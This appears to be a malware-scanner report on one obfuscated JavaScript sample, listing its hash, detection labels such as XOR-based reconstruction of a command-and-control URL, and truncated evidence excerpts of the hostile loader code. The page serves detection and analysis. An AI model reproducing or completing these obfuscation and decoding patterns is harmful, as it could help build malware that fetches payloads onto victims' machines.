Suspicious ^80% javascript-malware-collection Download

20151217_344d6c5d1b6cd8c5dbea333af3cf0b4d.js

Obfuscated eval with XOR C2 URL reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256ce5b77f3f0f900558bffd8d373d76715e377a565f153d6dc6d2b67d79bbc84af

Evidence

0x3f hex byte token line 1

1osSxNgPH=[0x3,0x5,0xe,0x12,0x14,0x19,0x20,0x24,0x2c,0x2e,0x32,0x38,0x3f,0x44,0x47,0x4f,0x53,0x55,0x5d,0x60,0x68,0x6b,0x71,0x77,0x7a,0x81,0x85,0x8a,0x8f,0x91,0x97,0x9c,0xa0,0xa7,0xae,0xb3,0xb7,0xb9,0xc1,0xc5,0xcc,0xcf,0xd4,0xd7,0xde,0xe2,0xe6,0xee,0xf1,0xf9,0xfd,0xff,0x108,0x10b,0x10e,0x113,0x119,0x11d,0x126,0x129,0x12f,0x132,0x13a,0x13b,0x143,0x148,0x14b,0x152,0x154,0x15a,0x15e,0x167,0x16c,0 …

Builds characters with String.fromCharCode line 2

2:146… '0','7',':','b',',','6','o','`','1','>','t','5','L','o','w','Y',String.fromCharCode(10),'Z',' ','#','7','0','k','(','T','u','1','.','C','F','(','6','@','Z',String.fromCharCode(13),')','E','?','`','s','x','^','I','6','R','H','z','!','X','&','W','O','-','5','(','O','6','d','7','3','O','W','E','O','n','X','#','m','j','4','/','v','t','- …

XOR URL reconstruction call line 2

2:1858… '-','b','G','O','7','Z','M','u','u','5','p','s','[','d','N','e',String.fromCharCode(92),' ','o','G','v','(',']','9','^','^','y','O','_','o','%',']','s','`','r','A','K','6','t','!','a','y','=','X','b','r','k','4',']','S','c','X','"','e','7','o','d','l …

Dense indexed short-token grid lines 12–13

12:33… KINWnGi,UjxYBVlbMoR) {AVFbyaJeozrGgl[GzJEfLKINWnGi]=UjxYBVlbMoR;}
13var t = new Array();t[0]=[];t[0][0]='d';t[0][1]='a';t[0][2]='d';t[0][3]='a';t[0][4]='46';t[0][5]='3d';t[0][6]='42';t[0][7]='14';t[0][8]='32';t[0][9]='14';t[0][10]='25';t[0][11]='14';t[0][12]='16';t[0][13]='47';t[0][14]='3k';t[0][15]='3d';t[0][16]='44';t[0][17]='3g';t[0][18]='3l';t[0][19]='3g';t[0][20]='49';t[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],t[4],t[5]];
20var SEyehkijJ=[];
21function XmtiItfHTPaDayZCu(ynmeT){UCrrbLXKGMl= '';TcCktGaZNPm=Math.round((Math.pow(Math.sin(463), 2) + Math.pow(Math.cos(463), 2) - 1));while(true){if (TcCktGaZNPm >= (2494+506)/500){break;}SEyehkijJ[TcCktGaZNPm]=Math.round((Math.pow(Math.sin(499), 2) + Math.pow(Math.cos(499), 2) - 1)); while(true) { if(SEyehkijJ[TcCktGaZNPm] > ynmeT[TcCktGaZNPm].length-(-410+920)/510) { break; } if (uJtNadb(HuRJq(ynmeT[TcCktGaZNPm][SEyehkijJ[TcCktGaZNPm]],(14975+285)/545,(1111+709)/182))) {UCrrbLXKGMl += eMzGUpdGnpNjvnzPfOwNhfFAwBEdtgtqrsbMtlBdEGnqwYvufovOWK([ynmeT[TcCktGaZNPm][SEyehkijJ[TcCktGaZNPm]]], Math.round((Math.pow(Math.sin(865), 2) + Math.pow(Math.cos(865), 2) - 1)));} SEyehkijJ[TcCktGaZNPm]++;}TcCktGaZNPm++;} return UCrrbLXKGMl}
22var ckOjWJFNBNpFNTcirwJsWilusiZoIxlJD = 'gwCHnmtQijqGwvMVWFMRNkEKkRJxLzDeagsB';var YYRdMFLhUNGzAaUmjIcwfiZnvPetnzkl = 'fRIsaLNWcZZSrjmIuBYWFeGoKEAkLcarRFnq';KlPeFOzAuxSucqT(XmtiItfHTPaDayZCu(ynmeT),ckOjWJFNBNpFNTcirwJsWilusiZoIxlJD,YYRdMFLhUNGzAaUmjIcwfiZnvPetnzkl);